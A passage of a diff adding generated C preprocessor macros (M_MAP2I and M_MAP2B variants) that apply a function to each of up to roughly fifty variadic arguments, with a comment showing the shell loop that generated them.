+#define M_MAP2I_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) 
+#define M_MAP2I_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) 
+#define M_MAP2I_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) 
+#define M_MAP2I_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) 
+
+/* Duplicate of M_MAP2 for GET_METHOD as it may be called in context where a M_MAP2 is in progress (for oplist).
+   NOTE: Increase number of arguments to 76 due to the number of available methods.
+   NOTE: Don't perform another step of evaluation (not needed in the usage context)
+   NOTE: Rewrite with another approach much more verbose but also much faster for the compiler.
+   This kind of approach seems ugly, but is in fact the fast one.
+   Generated by the following command:
+   for i in $(seq 1 52) ; do printf "#define M_MAP2B_%d(f, d" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(d, _%d) " $j ; done ; printf "\n"; done
+*/
+#define M_MAP2B(f, d, ...)  M_C(M_MAP2B_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP2B_1(f, d, _1) f(d, _1) 
+#define M_MAP2B_2(f, d, _1, _2) f(d, _1) f(d, _2) 
+#define M_MAP2B_3(f, d, _1, _2, _3) f(d, _1) f(d, _2) f(d, _3) 
+#define M_MAP2B_4(f, d, _1, _2, _3, _4) f(d, _1) f(d, _2) f(d, _3) f(d, _4) 
+#define M_MAP2B_5(f, d, _1, _2, _3, _4, _5) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) 
+#define M_MAP2B_6(f, d, _1, _2, _3, _4, _5, _6) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) 
+#define M_MAP2B_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) 
+#define M_MAP2B_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) 
+#define M_MAP2B_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) 
+#define M_MAP2B_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) 
+#define M_MAP2B_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) 
+#define M_MAP2B_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) 
+#define M_MAP2B_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) 
+#define M_MAP2B_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) 
+#define M_MAP2B_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) 
+#define M_MAP2B_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) 
+#define M_MAP2B_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) 
+#define M_MAP2B_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) 
+#define M_MAP2B_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) 
+#define M_MAP2B_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) 
+#define M_MAP2B_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) 
+#define M_MAP2B_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) 
+#define M_MAP2B_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) 
+#define M_MAP2B_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) 
+#define M_MAP2B_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) 
+#define M_MAP2B_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) 
+#define M_MAP2B_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) 
+#define M_MAP2B_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) 
+#define M_MAP2B_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) 
+#define M_MAP2B_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) 
+#define M_MAP2B_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) 
+#define M_MAP2B_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) 
+#define M_MAP2B_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) 
+#define M_MAP2B_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) 
+#define M_MAP2B_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) 
+#define M_MAP2B_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) 
+#define M_MAP2B_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) 
+#define M_MAP2B_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) 
+#define M_MAP2B_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) 
+#define M_MAP2B_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) 
+#define M_MAP2B_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) 
+#define M_MAP2B_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) 
+#define M_MAP2B_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) 
+#define M_MAP2B_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) 
+#define M_MAP2B_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) 
+#define M_MAP2B_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) 
+#define M_MAP2B_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) 
